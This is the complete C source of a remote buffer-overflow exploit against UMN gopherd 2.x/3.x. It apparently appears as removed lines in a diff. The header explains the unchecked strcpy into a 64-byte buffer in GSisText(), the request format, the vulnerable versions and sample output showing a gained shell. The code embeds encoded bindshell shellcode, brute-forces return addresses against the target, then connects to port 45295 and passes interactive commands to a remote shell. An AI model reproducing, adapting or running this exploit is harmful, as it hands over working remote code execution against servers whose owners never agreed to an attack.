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- /*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*
- * *
- * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
- * *
- * three years since last audit, code is a little more secure. but, *
- * still found a few potentially exploitable situations. this *
- * exploits the GSisText() object function in gopherd. the function *
- * is used in determining view-type. the function does not check the *
- * length of the string, which is copied into a temporary 64 byte *
- * buffer. an example would look like this(including where to put the *
- * shellcode at): *
- * *
- * "g\t+<long string>\t1\n<shellcode(256 character max)>\n" *
- * *
- * to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *
- * or g. followed by a <tab>+<long string>. to have a place to put *
- * the shellcode, i appended a <tab>1, which makes gopherd wait for *
- * another line before actually doing the overflow. *
- * *
- * requirements(general): *
- * none. no option to disable this, hard-coded upon compile. *
- * *
- * requirements(for this exploit): *
- * the server must be running linux/x86(what i made the exploit for). *
- * gopherd must be started in the root directory "/", running with *
- * the -c command line option, or started as non-root. any of those *
- * three situations will allow for successful exploitation. this *
- * does not mean it is impossible to exploit otherwise. but, gopherd *
- * will be in a chroot()'d state. and, as of the 2.4 kernel series, *
- * i have seen no such way to break chroot. if it is desired to *
- * still run code, even in a limited environment, simply change the *
- * shellcode to your likings. *
- * *
- * bug location(gopher-3.0.5/object/GSgopherobj.c): *
- * 2088:boolean *
- * 2089:GSisText(GopherObj *gs, char *view) *
- * 2090:{ *
- * ... *
- * 2106:char viewstowage[64], *cp; *
- * 2108:strcpy(viewstowage, view); *
- * *
- * vulnerable versions: *
- * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
- * v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
- * (it is assumed versions before 2.3.1 are vulnerable as well) *
- * *
- * tested on platforms(with no code changes/offsets): *
- * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
- * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
- * (tested on both v3.0.5, and v2.3.1 sources / no changes) *
- * *
- * example usage: *
- * # cc xgopherd2k3-jesustext.c -o xgopherd2k3-jesustext *
- * # ./xgopherd2k3-jesustext localhost *
- * [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
- * [*] "UMN gopherd remote GSisText()/view buffer overflow" *
- * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
- * *
- * [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff *
- * *
- * (. = 29 byte offset): ............................................ *
- * .................................................................. *
- * ................................................(hit shellcode!) *
- * *
- * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
- * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *
- ***********************************************************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <strings.h>
- #include <signal.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-
- /* using brute force method, don't change values. */
- #define CODESIZE 256 /* big as it gets, or will fail. */
- #define EIPSIZE 128 /* 64 byte buffer, little overboard. :) */
- #define BASEADDR 0xbfffe000 /* starting address, should be ok. */
- #define ENDADDR 0xbfffffff /* address to stop at. */
- #define TIMEOUT 10 /* connection timeout. (general) */
-
- /* globals. */
- static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
- "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
- "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
- "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
- "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
- "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
- "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
- "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
- "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
- "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
- "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
- "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
- "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
- "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
- "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
- "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
- "\x6e";
-
- /* functions. */
- char *geteip(unsigned int);
- char *getcode(void);
- unsigned short gopher_connect(char *,unsigned short,
- unsigned int);
- void getshell(char *,unsigned short);
- void printe(char *,short);
-
- /* signal handlers. */
- void sig_ctrlc(){printe("aborted",1);}
- void sig_alarm(){printe("alarm/timeout hit",1);}
-
- /* begin. */
- int main(int argc,char **argv){
- unsigned short gopher_port=70; /* default. */
- unsigned int offset=0,i=0;
- char *gopher_host;
- printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
- "verflow exploit.\n[*] \"UMN gopherd remote GSisText("
- ")/view buffer overflow\"\n[*] by: vade79/v9 v9@fakeh"
- "alo.deadpig.org (fakehalo)\n\n");
- if(argc<2){
- printf("[!] syntax: %s <hostname[:port]>\n\n",argv[0]);
- exit(1);
- }
- if(!(gopher_host=(char *)strdup(argv[1])))
- printe("main(): allocating memory failed",1);
- for(i=0;i<strlen(gopher_host);i++)
- if(gopher_host[i]==':')
- gopher_host[i]=0x0;
- if(index(argv[1],':'))
- gopher_port=atoi((char *)index(argv[1],':')+1);
- if(!gopher_port)
- gopher_port=70;
- printf("[*] target: %s:%d - brute: 0x%.8x-0x%.8x\n\n",
- gopher_host,gopher_port,BASEADDR,ENDADDR);
- signal(SIGINT,sig_ctrlc);
- signal(SIGALRM,sig_alarm);
- fprintf(stderr,"(. = 29 byte offset): ");
- for(offset=0;(BASEADDR+offset)<ENDADDR;offset+=29){
- fprintf(stderr,(gopher_connect(gopher_host,gopher_port,
- offset)?"!":"."));
- getshell(gopher_host,45295); /* defined in shellcode. */
- }
- fprintf(stderr,"(brute force limit hit)\n");
- exit(0);
- }
- char *geteip(unsigned int offset){
- unsigned int i=0;
- char *buf;
- if(!(buf=(char *)malloc(EIPSIZE+1)))
- printe("ftpd_read(): allocating memory failed.",1);
- memset(buf,0x0,EIPSIZE+1);
- for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(BASEADDR+offset);}
- return(buf);
- }
- char *getcode(void){
- char *buf;
- if(!(buf=(char *)malloc(CODESIZE+1)))
- printe("getcode(): allocating memory failed",1);
- memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
- memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
- strlen(x86_exec));
- return(buf);
- }
- unsigned short gopher_connect(char *hostname,
- unsigned short port,unsigned int offset){
- int sock;
- struct hostent *t;
- struct sockaddr_in s;
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- s.sin_family=AF_INET;
- s.sin_port=htons(port);
- if((s.sin_addr.s_addr=inet_addr(hostname))){
- if(!(t=gethostbyname(hostname))){
- close(sock);
- return(1);
- }
- memcpy((char*)&s.sin_addr,(char*)t->h_addr,
- sizeof(s.sin_addr));
- }
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- if(connect(sock,(struct sockaddr *)&s,sizeof(s))){
- alarm(0);
- close(sock);
- return(1);
- }
- alarm(0);
- usleep(500000); /* had problems, without a delay here. */
- /* the exploit itself. */
- dprintf(sock,"g\t+%s\t1\n",geteip(offset)); /* 64 bytes. */
- dprintf(sock,"%s\n",getcode()); /* 256 bytes room. */
- usleep(500000);
- close(sock); /* done. */
- return(0);
- }
- /* same getshell() routine, a little modded for brute. */
- void getshell(char *hostname,unsigned short port){
- int sock,r;
- fd_set fds;
- char buf[4096+1];
- struct hostent *he;
- struct sockaddr_in sa;
- if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
- return;
- sa.sin_family=AF_INET;
- if((sa.sin_addr.s_addr=inet_addr(hostname))){
- if(!(he=gethostbyname(hostname))){
- close(sock);
- return;
- }
- memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
- sizeof(sa.sin_addr));
- }
- sa.sin_port=htons(port);
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
- alarm(0);
- close(sock);
- return;
- }
- alarm(0);
- fprintf(stderr,"(hit shellcode!)\n\n");
- signal(SIGINT,SIG_IGN);
- write(sock,"uname -a;id\n",13);
- while(1){
- FD_ZERO(&fds);
- FD_SET(0,&fds);
- FD_SET(sock,&fds);
- if(select(sock+1,&fds,0,0,0)<1){
- printe("getshell(): select() failed",0);
- return;
- }
- if(FD_ISSET(0,&fds)){
- if((r=read(0,buf,4096))<1){
- printe("getshell(): read() failed",0);
- return;
- }
- if(write(sock,buf,r)!=r){
- printe("getshell(): write() failed",0);
- return;
- }
- }
- if(FD_ISSET(sock,&fds)){
- if((r=read(sock,buf,4096))<1)
- exit(0);
- write(1,buf,r);
- }
- }
- close(sock);
- return;
- }
- void printe(char *err,short e){
- fprintf(stderr,"(error: %s)\n",err);
- if(e)
- exit(1);
- return;
- }
-